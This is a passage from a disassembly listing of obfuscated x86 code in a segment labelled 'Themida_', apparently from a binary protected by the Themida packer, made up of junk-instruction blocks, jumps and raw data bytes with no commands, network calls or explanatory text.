loc_5A885A:				; CODE XREF: Themida_:0059B21Ej
		and	al, 7
		inc	al
		not	al
		add	al, 13h
		xor	cl, al
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 64h
		sub	dh, 96h
		add	cl, dh
		mov	edx, [esp]
		jmp	loc_59F081
; ---------------------------------------------------------------------------


loc_5A887D:				; CODE XREF: Themida_:0059F7F0j
		pop	ebp
		sub	edx, ecx
		jmp	loc_5A542D
; ---------------------------------------------------------------------------


loc_5A8885:				; CODE XREF: Themida_:005A7728j
		add	ecx, 1321064Bh
		push	ebx
		push	edi
		mov	edi, 52F12593h
		mov	ebx, edi
		pop	edi
		add	ecx, ebx
		pop	ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_59934B
; ---------------------------------------------------------------------------


loc_5A88A3:				; CODE XREF: Themida_:0059B0E7j
					; Themida_:0059E895j
		add	edx, ecx
		jmp	loc_598785
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 7193E924h, 0C583FFFFh, 242C8704h, 246C015Ch,	0B3BD5504h
		dd 2977DB2Fh, 5D08246Ch, 0FFD400E9h, 87DBF7FFh,	0BEE281DAh
		dd 0E9105539h, 20DAh, 6A50B85Eh, 0E831241Eh, 8A0F485Dh
		dd 0FFFF797Eh, 63B7E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A88F1:				; CODE XREF: Themida_:00599941j
		add	ebx, 504C0EB8h
		jnb	loc_59BF0D
		add	ebx, 70FFFAEDh
		mov	eax, ebx
		pop	ebx
		jmp	loc_59FB59
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0F64D5EBDh, 8BD52942h, 2AE92414h, 68000050h,	639F7EDBh
		dd 3624E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A8926:				; CODE XREF: Themida_:005A0E1Cj
		sub	edx, ebx
		jmp	loc_5AD296
; ---------------------------------------------------------------------------
		db 89h,	0D5h, 5Ah
		dd 528F0F4Dh, 81000016h, 956FBEF5h, 68A4E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A8942:				; CODE XREF: Themida_:005A8046j
		push	ebp
		jmp	loc_59CABE
; ---------------------------------------------------------------------------


loc_5A8948:				; CODE XREF: Themida_:005AB9D1j
		sub	esi, 0A75E9B69h
		sub	edi, esi
		pop	esi
		add	edx, 7AF01FEh
		add	edx, edi
		sub	edx, 7AF01FEh
		pop	edi
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_59CE1A
; ---------------------------------------------------------------------------


loc_5A896B:				; CODE XREF: Themida_:005A0D74j
		add	eax, 4
		push	esi
		mov	esi, 2
		jmp	loc_5A44CC
; ---------------------------------------------------------------------------


loc_5A897B:				; CODE XREF: Themida_:0059E660j
		sub	ebx, 36312951h
		push	3D6Eh
		jmp	loc_5A7012
; ---------------------------------------------------------------------------
		db 0FFh
		dd 835F2434h, 3E2D04C4h, 2D759A7Ah, 1D7627EEh, 0E952C829h
		dd 6353h
; ---------------------------------------------------------------------------


loc_5A89A4:				; CODE XREF: Themida_:005AC084j
		add	esi, 4
		jmp	loc_5AAB0D
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 24148700h, 4C4815Ch, 5D000000h, 3F45E02Dh, 56D02954h
		dd 0F11F4ABEh, 0A9EEE968h, 8966FFFFh, 0E0E9241Ch, 0F6FFFFBFh
		dd 0F6F786DEh, 0B05066DFh, 2A79E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A89EA:				; CODE XREF: Themida_:0059C97Ej
					; Themida_:005AA2C5j
		add	bl, al
		mov	eax, [esp]
		jmp	loc_5A0F04
; ---------------------------------------------------------------------------


loc_5A89F4:				; CODE XREF: Themida_:005A2D48j
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	edi, esi
		pop	esi
		add	ebx, 18B8444Ah
		jmp	loc_59FA53
; ---------------------------------------------------------------------------


loc_5A8A0D:				; CODE XREF: Themida_:005AD041j
		add	ebp, edi
		jmp	loc_599115
; ---------------------------------------------------------------------------
		dd 2D59CF89h, 53773DBCh, 0D23CA805h, 695F2D6Dh,	0F801237Ah
		dd 7A695F05h, 3CA82D23h, 0BC056DD2h, 8B53773Dh,	0C483243Ch
		dd 24048704h, 0E924248Bh, 0FFFFDD1Bh, 0BA241489h, 4, 315BA52h
		dd 0CA810D38h, 76B1C11h, 7E2C14Ah, 0B01CF281h, 0FCE9D5A5h
		db 53h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A8A6B:				; CODE XREF: Themida_:loc_5A4E69j
		xor	edx, 13C846F9h
		jp	loc_5ADC74
		jmp	loc_5A5559
; ---------------------------------------------------------------------------
		dd 0D965AEBAh, 5420E90Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A8A86:				; CODE XREF: Themida_:005A701Cj
		mov	ebx, 6C4C5F69h
		jmp	loc_59BEB9
; ---------------------------------------------------------------------------
		dd 8704C683h, 685C2434h, 57D7h,	0E9243C89h, 2ADBh
; ---------------------------------------------------------------------------


loc_5A8AA4:				; CODE XREF: Themida_:005A03D3j
		not	edi
		add	edi, 31E038D4h
		sub	edi, 0C8A71472h
		mov	ecx, edi
		jmp	loc_5A1AA8
; ---------------------------------------------------------------------------


loc_5A8AB9:				; CODE XREF: Themida_:005AA745j
		pop	esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_5A7C8F
; ---------------------------------------------------------------------------


loc_5A8AC7:				; CODE XREF: Themida_:005A6AE7j
					; Themida_:005AD5B8j
		mov	eax, [esp]
		add	esp, 4
		add	bl, ch
		pop	ecx
		jmp	loc_59C974
; ---------------------------------------------------------------------------
		dd 41C0C381h, 0DE891802h, 0AEC6815Bh, 0F07B757h, 0FF4DA183h
		dd 168BE9FFh, 0E6890000h, 46851h, 57590000h
; ---------------------------------------------------------------------------


loc_5A8AFC:				; CODE XREF: Themida_:0059F471j
		pop	bx
		and	dl, cl
		jmp	loc_5A68F8
; ---------------------------------------------------------------------------


loc_5A8B05:				; CODE XREF: Themida_:005AE123j
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_5AC759
; ---------------------------------------------------------------------------


loc_5A8B1A:				; CODE XREF: Themida_:005A2336j
		add	eax, 7FDE0B5Fh
		jmp	loc_5AD0BC
; ---------------------------------------------------------------------------


loc_5A8B24:				; CODE XREF: Themida_:0059FA6Ej
		push	ax
		pushf
		jmp	loc_5AA941
; ---------------------------------------------------------------------------
		dd 0E9FFC683h, 0FFFEF96Dh
; ---------------------------------------------------------------------------


loc_5A8B34:				; CODE XREF: Themida_:loc_5A7F0Ej
		shr	ebp, 3
		sub	ebp, 84AF2740h
		sub	dword ptr [esp+4], 40FC14DFh
		sub	dword ptr [esp+4], 0DF910DFh
		add	[esp+4], ebp
		add	dword ptr [esp+4], 0DF910DFh
		jmp	loc_59B762
; ---------------------------------------------------------------------------


loc_5A8B5E:				; CODE XREF: Themida_:005AD7FBj
		sub	ebx, 33B94023h
		mov	eax, [esp]
		jmp	loc_5A87F5
; ---------------------------------------------------------------------------


loc_5A8B6C:				; CODE XREF: Themida_:005AC6EDj
		pop	esi
		jmp	loc_5A431E
; ---------------------------------------------------------------------------


loc_5A8B72:				; CODE XREF: Themida_:0059D3E9j
		mov	[esp], edx
		jmp	loc_5A18FD
; ---------------------------------------------------------------------------


loc_5A8B7A:				; CODE XREF: Themida_:005ABD54j
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		push	6353h
		mov	[esp], ebp
		mov	ebp, 4
		add	edx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	20A0h
		jmp	loc_5AE2B9
; ---------------------------------------------------------------------------


loc_5A8BAA:				; CODE XREF: Themida_:005A0E39j
		pop	ebp
		push	613Fh
		mov	[esp], ebx
		push	4F792D9Fh
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5A7AA9
; ---------------------------------------------------------------------------


loc_5A8BD3:				; CODE XREF: Themida_:0059AFBBj
		pop	ebx
		xor	ch, 1Ah
		shl	ch, 3
		jmp	loc_5A1255
; ---------------------------------------------------------------------------


loc_5A8BDF:				; CODE XREF: Themida_:0059BBE0j
		add	ebp, 5AE02665h
		add	ebp, esi
		sub	ebp, 5AE02665h
		add	ebp, 2BEC54A2h
		mov	esi, [esp]
		jmp	loc_5A7075
; ---------------------------------------------------------------------------


loc_5A8BFB:				; CODE XREF: Themida_:005A4708j
		add	ebx, 2FA51F94h
		jmp	loc_5AE397
; ---------------------------------------------------------------------------
		dd offset byte_6101E9
		db 0
; ---------------------------------------------------------------------------


loc_5A8C0B:				; CODE XREF: Themida_:005AE930j
		pop	ebp
		push	7A31h
		mov	[esp], ecx
		jmp	loc_5A0E00
; ---------------------------------------------------------------------------


loc_5A8C19:				; CODE XREF: Themida_:005A3961j
		pop	ecx
		jmp	loc_59D531
; ---------------------------------------------------------------------------


loc_5A8C1F:				; CODE XREF: Themida_:005AD9D0j
		xor	ebp, ebx
		jmp	loc_5ADA6F
; ---------------------------------------------------------------------------


loc_5A8C26:				; CODE XREF: Themida_:0059DF76j
		push	bx
		mov	bh, 0E5h
		sub	al, 7Ah
		sub	al, bh
		add	al, 7Ah
		pop	bx
		jmp	loc_5A0AEF
; ---------------------------------------------------------------------------


loc_5A8C37:				; CODE XREF: Themida_:0059A439j
		mov	eax, esp
		push	esi
		jmp	loc_5A69C0
; ---------------------------------------------------------------------------


loc_5A8C3F:				; CODE XREF: Themida_:0059BFD7j
		add	edx, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_5A4037
; ---------------------------------------------------------------------------
		dd 4EC81ADh, 0E9000000h, 0FFFF32F1h
; ---------------------------------------------------------------------------


loc_5A8C5C:				; CODE XREF: Themida_:0059E264j
		mov	eax, 57F4320Dh
		shr	eax, 8
		push	edx
		mov	edx, 3CF6256Ch
		shr	edx, 8
		xchg	ebp, edx
		not	ebp
		xchg	ebp, edx
		jmp	loc_59A2D4
; ---------------------------------------------------------------------------


loc_5A8C78:				; CODE XREF: Themida_:0059D2E5j
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	6941h
		mov	[esp], edx
		mov	ebx, [esp]
		jmp	loc_5A57BB
; ---------------------------------------------------------------------------
		dd 0A91742B8h, 536AE90Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A8C9E:				; CODE XREF: Themida_:loc_5A01D4j
		add	edi, 1AF1251h
		jb	loc_5A2C28
		add	edi, 32A358B0h
		mov	ecx, edi
		pop	edi
		jmp	loc_59D520
; ---------------------------------------------------------------------------


loc_5A8CB8:				; CODE XREF: Themida_:005A2C42j
		push	3781h
		mov	[esp], eax
		mov	al, 0E5h
		xor	al, 4Fh
		xor	dl, al
		pop	eax
		sub	al, dl
		mov	edx, [esp]
		add	esp, 4
		add	bl, al
		pop	eax
		sub	bl, ch
		sub	bl, 69h
		mov	ecx, [esp]
		jmp	loc_5A2EDB
; ---------------------------------------------------------------------------
		db 4Ah
		dd 35998D0Fh, 0EC83FFFFh, 241C8904h, 747A9FBBh,	0C1815E21h
		dd 1CD011A9h, 0FFEC28E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A8CFD:				; CODE XREF: Themida_:005A4032j
		add	dh, 6Ch
		or	dh, 6Fh
		jmp	loc_5A67DF
; ---------------------------------------------------------------------------


loc_5A8D08:				; CODE XREF: Themida_:005A0951j
		dec	ebp
		jo	loc_5A827A
		or	ebp, 0DF93974h
		jp	loc_5AAE15
		neg	ebp
		jmp	loc_59E6F3
; ---------------------------------------------------------------------------


loc_5A8D22:				; CODE XREF: Themida_:00598C51j
		mov	ebx, esp
		push	ecx
		mov	ecx, 0CB70481h
		shr	ecx, 5
		xor	ecx, 0B1140CFh
		jmp	loc_5A962F
; ---------------------------------------------------------------------------
		dd 0FE4CCC80h, 9768E9CCh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A8D42:				; CODE XREF: Themida_:005A7E43j
		add	eax, 63CE10EBh
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	ecx, 195C1C62h
		add	ecx, eax
		add	ecx, 195C1C62h
		jmp	loc_59CB8A
; ---------------------------------------------------------------------------


loc_5A8D70:				; CODE XREF: Themida_:005A90B0j
		sub	eax, 6E231FFDh
		jmp	loc_5A9E91
; ---------------------------------------------------------------------------


loc_5A8D7A:				; CODE XREF: Themida_:005ABDB4j
		mov	edi, 70FF4897h
		dec	edi
		dec	edi
		xchg	esi, edi
		not	esi
		jmp	loc_59F53A
; ---------------------------------------------------------------------------


loc_5A8D8A:				; CODE XREF: Themida_:0059FF51j
		add	edx, 4
		jmp	loc_5AB6E0
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4064F20h, 8159CB29h,	636CEAC3h, 64C38104h, 0E934C713h
		dd 0FFFFCC15h
; ---------------------------------------------------------------------------


loc_5A8DAC:				; CODE XREF: Themida_:005A86D8j
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dw 0C361h
		dd 813C77FFh, 370A242Ch, 0D9E906D3h
		db 3Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A8DC3:				; CODE XREF: Themida_:005A8686j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	ecx, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5A84FB
; ---------------------------------------------------------------------------


loc_5A8DDE:				; CODE XREF: Themida_:005A962Aj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5A4128
; ---------------------------------------------------------------------------


loc_5A8DF2:				; CODE XREF: Themida_:0059F76Ej
		or	ebp, 27769D9h
		inc	ebp
		push	edi
		jmp	loc_5A9393
; ---------------------------------------------------------------------------


loc_5A8DFF:				; CODE XREF: Themida_:005A00F4j
		add	eax, ecx
		sub	eax, 2DDE3A56h
		jmp	loc_5A3E6E
; ---------------------------------------------------------------------------


loc_5A8E0B:				; CODE XREF: Themida_:005A7EB1j
					; Themida_:005ABF75j
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		add	bl, ch
		pop	cx
		add	bl, al
		jmp	loc_59A5D1
; ---------------------------------------------------------------------------


loc_5A8E1F:				; CODE XREF: Themida_:005A94B8j
		pop	ebx
		jmp	loc_5AB72B
; ---------------------------------------------------------------------------
		db 83h,	0C1h, 4
		dd 5C240C87h, 0FEFEBCE9h, 1C77FFFFh, 1858669Dh,	0E99C2404h
		dd 0FFFEF54Ch, 7105D029h, 5709674h, 57C97726h, 0E92434FFh
		dd 0FFFFDFAFh
; ---------------------------------------------------------------------------


loc_5A8E54:				; CODE XREF: Themida_:005A4893j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ecx
		push	eax
		mov	eax, 4
		jmp	loc_5A2F64
; ---------------------------------------------------------------------------


loc_5A8E67:				; CODE XREF: Themida_:0059CAB9j
		mov	edx, 4
		mov	eax, edx
		pop	edx
		add	ecx, eax
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	3A32h
		mov	[esp], ebp
		mov	ebp, 25A66774h
		add	edi, 555368A9h
		sub	edi, ebp
		sub	edi, 555368A9h
		pop	ebp
		add	edi, 606070B4h
		add	edi, ebp
		sub	edi, 606070B4h
		add	edi, 25A66774h
		jmp	loc_5A30AD
; ---------------------------------------------------------------------------
		dw 0E954h
		dd 0FFFF7773h
; ---------------------------------------------------------------------------


loc_5A8EB4:				; CODE XREF: Themida_:005AC8C7j
		push	edi
		mov	edi, 7DFF6A63h
		sub	eax, edi
		pop	edi
		mov	edi, eax
		jmp	loc_5A1313
; ---------------------------------------------------------------------------
		dd 0E9E18951h, 0FFFF43B3h, 8306EBC1h, 8143FFC3h, 473746CBh
		dd 6DF38140h, 2945D642h, 0BF575BDDh, 55F37F8Bh,	612BD55h
		dd 0EF090116h, 4E7C15Dh, 3A76B850h, 0C729051Dh,	0FF40F7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A8F01:				; CODE XREF: Themida_:005A2F9Dj
		sub	ecx, 3D244A92h
		pop	ebx
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		jmp	loc_5A3EFE
; ---------------------------------------------------------------------------


loc_5A8F20:				; CODE XREF: Themida_:005987EFj
		shr	eax, 4
		add	eax, 5BF11713h
		mov	ebp, eax
		pop	eax
		jmp	loc_5A4911
; ---------------------------------------------------------------------------


loc_5A8F30:				; CODE XREF: Themida_:0059CA98j
		xor	ch, bh
		pop	ebx
		jmp	loc_5A7C52
; ---------------------------------------------------------------------------
		dd 12A4E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A8F3E:				; CODE XREF: Themida_:005A2E27j
		push	small 587Ah
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A8F52:				; CODE XREF: Themida_:005A1A92j
		mov	[esp], ecx
		jmp	loc_5A29DB
; ---------------------------------------------------------------------------
		dw 0F501h
		dd 6056ED81h, 348B6280h, 73E95524h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A8F6B:				; CODE XREF: Themida_:0059CB79j
		sub	dh, 40h
		dec	dh
		push	ecx
		jmp	loc_5A2C47
; ---------------------------------------------------------------------------


loc_5A8F76:				; CODE XREF: Themida_:005A3E0Cj
		add	eax, ebx
		pop	ebx
		add	eax, 276F147Eh
		sub	eax, 0EF47C142h
		and	ebx, eax
		jmp	loc_5A9A4A
; ---------------------------------------------------------------------------


loc_5A8F8A:				; CODE XREF: Themida_:0059B24Dj
					; Themida_:005A6729j
		mov	ebx, esp
		push	esi
		mov	esi, 4
		add	ebx, 1A3F044Bh
		jmp	loc_5ABD91
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 83000000h, 2C8904ECh, 81E58924h, 4C5h, 4C58300h, 8B242C87h
		dd 0E8312424h, 8B2434FFh, 0C483242Ch, 10E95104h
		db 45h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A8FCB:				; CODE XREF: Themida_:005A420Ej
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		push	951h
		jmp	loc_59922A
; ---------------------------------------------------------------------------
		dw 0CC80h
		dd 0CB870F46h, 0E9FFFF6Bh, 0FFFFEE94h, 0C7815F54h, 4, 0EFC0FF2Ch
		dd 9AF78004h, 0A4F2850Fh, 82E9FFFFh, 0E9FFFF65h, 0FFFF942Dh
		db 5Ch
; ---------------------------------------------------------------------------


loc_5A900D:				; CODE XREF: Themida_:0059E2BBj
		pop	ebx
		add	esi, 4
		jmp	loc_5AE19A
; ---------------------------------------------------------------------------


loc_5A9016:				; CODE XREF: Themida_:0059D7EDj
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_59E5D0
; ---------------------------------------------------------------------------


loc_5A9028:				; CODE XREF: Themida_:005997D2j
		mov	ebp, 673D0009h
		dec	ebp
		push	esi
		mov	esi, 69E3508Eh
		xor	ebp, esi
		pop	esi
		and	ebp, 64951675h
		xor	ebp, 174E349Ch
		push	eax
		mov	eax, ebp
		mov	edx, eax
		jmp	loc_5A0D79
; ---------------------------------------------------------------------------


loc_5A904D:				; CODE XREF: Themida_:005ABE94j
		add	ebp, 133FCD81h
		push	ebx
		push	eax
		mov	eax, 3A5A4A9Fh
		jmp	loc_599E92
; ---------------------------------------------------------------------------


loc_5A905F:				; CODE XREF: Themida_:0059F83Ej
		pop	eax
		jmp	loc_5AF013
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 6658669Dh, 9C240419h, 0FEF317E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A9075:				; CODE XREF: Themida_:005A3A44j
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_59A555
; ---------------------------------------------------------------------------


loc_5A9080:				; CODE XREF: Themida_:005A22D7j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5AD4DB
; ---------------------------------------------------------------------------
		db 0E9h, 0CFh, 24h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A908E:				; CODE XREF: Themida_:005A352Cj
		pop	edx
		jmp	loc_5A78DB
; ---------------------------------------------------------------------------


loc_5A9094:				; CODE XREF: Themida_:005A9CB1j
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		add	eax, 4
		push	77A7h
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5A8D70
; ---------------------------------------------------------------------------
		db 0C1h, 0EDh, 4
		dd 0EBEF581h, 0E8015D27h, 636BE95Dh, 0E3890000h, 4C381h
		dd 0EB810000h, 4, 0E9241C33h, 5C62h, 8124148Bh,	4C4h, 0A70400h
		dd 51A72CD0h, 0FF09F9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A90F1:				; CODE XREF: Themida_:005A4BFFj
		push	eax
		push	edx
		mov	edx, 4
		push	1F56h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebp
		push	ebx
		mov	ebx, 7ED41C1Fh
		jmp	loc_5A0CF7
; ---------------------------------------------------------------------------


loc_5A9111:				; CODE XREF: Themida_:005A685Bj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	al, 9Bh
		sub	al, dl
		add	al, 9Bh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		pop	ecx
		push	eax
		jmp	loc_5AA0AC
; ---------------------------------------------------------------------------


loc_5A912F:				; CODE XREF: Themida_:005A0005j
					; Themida_:005A52DAj
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5AD705
; ---------------------------------------------------------------------------
		dw 4BEh
		dd 0E9000000h, 0FFFF9C49h
; ---------------------------------------------------------------------------


loc_5A9144:				; CODE XREF: Themida_:005A551Cj
		pop	edx
		push	ebx
		mov	ebx, esp
		jmp	loc_5AAABF
; ---------------------------------------------------------------------------


loc_5A914D:				; CODE XREF: Themida_:0059F644j
					; Themida_:005A6496j
		jns	loc_5A39AF
		sub	esi, 48E06892h
		jmp	loc_5ABAA8
; ---------------------------------------------------------------------------


loc_5A915E:				; CODE XREF: Themida_:0059A68Ej
		xor	esi, ebp
		pop	ebp
		jmp	loc_598534
; ---------------------------------------------------------------------------


loc_5A9166:				; CODE XREF: Themida_:005A56C1j
		mov	[esp], ebp
		mov	ebp, 3AED3C09h
		not	ebp
		sub	ebp, 0FFFFFFFFh
		jmp	loc_5ABF12
; ---------------------------------------------------------------------------


loc_5A9178:				; CODE XREF: Themida_:0059AC80j
					; Themida_:005A538Ej
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5A5A32
; ---------------------------------------------------------------------------
		dd 31241433h, 14332414h, 24248B24h, 0FF84CBE9h,	62E957FFh
		db 18h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A91A7:				; CODE XREF: Themida_:005A03C6j
		mov	ebx, 1E22372Dh
		or	eax, ebx
		jmp	loc_5A3AFB
; ---------------------------------------------------------------------------


loc_5A91B3:				; CODE XREF: Themida_:0059B54Aj
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_59C7A1
; ---------------------------------------------------------------------------
aQhu2xSb5	db 'Qhž2•{ιB5',0
		align 2


loc_5A91CE:				; CODE XREF: Themida_:0059B286j
		dec	esi
		jmp	loc_59923A
; ---------------------------------------------------------------------------
		dd 243C8B54h, 4C481h, 64E90000h, 5900005Ah, 0B151D800h
		dd 1C180DAh, 0B652C9FEh, 68C6FEACh, 0
		dd 8A243428h, 7EE92434h, 1FFFFD1h, 0EC835DE8h, 0F614E904h
		dd 148BFFFEh, 12F4E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A9216:				; CODE XREF: Themida_:loc_5AE959j
		shr	cl, 1
		jp	loc_5AE1E0
		jmp	loc_598DEB
; ---------------------------------------------------------------------------
		db 1
		dd 0CAC681C6h, 50107A3Ch, 0F23BE8B8h, 58C6291Ch, 4EC81h
		dd 3C890000h, 4F2ABF24h, 0FE296F4Fh, 2A59E95Fh,	8B660000h
		dd 0BAE92404h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A9253:				; CODE XREF: Themida_:005AE223j
		push	1768h
		mov	[esp], ecx
		jmp	loc_59A035
; ---------------------------------------------------------------------------


loc_5A9260:				; CODE XREF: Themida_:0059EB10j
		pop	esi
		dec	edx
		shl	edx, 5
		xor	edx, 4A92FD0h
		mov	ecx, edx
		pop	edx
		mov	esi, ecx
		pop	ecx
		jmp	loc_5A3268
; ---------------------------------------------------------------------------


loc_5A9276:				; CODE XREF: Themida_:0059ADA2j
		push	eax
		mov	ah, bh
		mov	cl, ah
		pop	eax
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_59F843
; ---------------------------------------------------------------------------


loc_5A9290:				; CODE XREF: Themida_:0059AB5Aj
		add	esp, 2
		push	1418h
		jmp	loc_5A28CA
; ---------------------------------------------------------------------------


loc_5A929D:				; CODE XREF: Themida_:loc_5992ABj
		push	ebx
		jmp	loc_5A2900
; ---------------------------------------------------------------------------
		db 0ADh
		dd 4BCBBA52h, 0F2812B46h, 37F451A2h, 8107EAC1h,	1A14ECF2h
		dd 0E9DAF72Eh, 0FFFF189Fh, 240C8B66h, 0E904EC83h, 0FFFF00F2h
; ---------------------------------------------------------------------------


loc_5A92CC:				; CODE XREF: Themida_:005988DEj
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		push	2E84692Ch
		pop	eax
		and	eax, 2BB25426h
		jnp	loc_5AD007
		push	edx
		mov	edx, 7C362328h
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_59F06D
; ---------------------------------------------------------------------------
		db 1, 0C6h, 57h
		dd 19B3E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A930D:				; CODE XREF: Themida_:005AA0A7j
		pop	esp
		movzx	ax, byte ptr [eax]
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	esi
		jmp	loc_59B414
; ---------------------------------------------------------------------------


loc_5A9325:				; CODE XREF: Themida_:0059FE47j
		add	esp, 4
		xor	edi, ebp
		pop	ebp
		xor	eax, edi
		mov	edi, [esp]
		jmp	loc_59867A
; ---------------------------------------------------------------------------
		dd 17710EBBh, 0CF3811Dh, 811D1771h, 22087C1h, 1657E961h
		dd 0CB890000h, 0FF5E76E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A9355:				; CODE XREF: Themida_:0059B813j
		add	esi, 0DF8AB5EDh
		jmp	loc_5AE70F
; ---------------------------------------------------------------------------
		dd 0E95FFE29h, 3FF1h, 405h, 24048700h, 34B3535Ch, 272EE951h
		dd 0DE90000h
		db 0F0h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A937F:				; CODE XREF: Themida_:0059ED20j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_5A15C1
; ---------------------------------------------------------------------------


loc_5A938C:				; CODE XREF: Themida_:0059A132j
		inc	ch
		jmp	loc_59CDC4
; ---------------------------------------------------------------------------


loc_5A9393:				; CODE XREF: Themida_:005A8DFAj
		mov	edi, 212130E1h
		jmp	loc_5AA203
; ---------------------------------------------------------------------------


loc_5A939D:				; CODE XREF: Themida_:00599A73j
		and	ebx, 6CD561D4h
		xor	ebx, 4F4729C6h
		push	ebp
		push	ebx
		mov	ebx, 0DF47FAD8h
		mov	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	ebx, ebp
		pop	ebp
		add	eax, ebx
		jmp	loc_5A7A44
; ---------------------------------------------------------------------------


loc_5A93C2:				; CODE XREF: Themida_:0059F7AEj
		mov	edi, 2794C08h
		add	[esp+4], edi
		pop	edi
		pop	esi
		sub	esi, 2794C08h
		pop	eax
		sub	edx, esi
		jmp	loc_59B4F0
; ---------------------------------------------------------------------------


loc_5A93DB:				; CODE XREF: Themida_:0059AE17j
		push	edx
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 97h
		mov	dh, 25h
		xor	dh, ah
		pop	eax
		shl	dh, 3
		add	dh, 92h
		jmp	loc_5A3B1A
; ---------------------------------------------------------------------------


loc_5A93F7:				; CODE XREF: Themida_:loc_5AC5D2j
		xor	al, 25h
		jmp	loc_5A74E0
; ---------------------------------------------------------------------------
		dw 0EB80h
		dd 0E9DE280Ch, 0FFFF778Dh
; ---------------------------------------------------------------------------


loc_5A9408:				; CODE XREF: Themida_:005A4C08j
		push	426Eh
		mov	[esp], ebp
		push	4E6h
		push	esp
		pop	dword ptr [esp]
		push	ecx
		jmp	loc_5AEEDF
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0BEE92434h
		db 27h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A9427:				; CODE XREF: Themida_:loc_59DFEBj
		jmp	loc_5A020D
; ---------------------------------------------------------------------------
		dd 240C8B66h, 0FFE833E9h, 79E95EFFh, 5400003Fh,	0D1E9505Eh
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


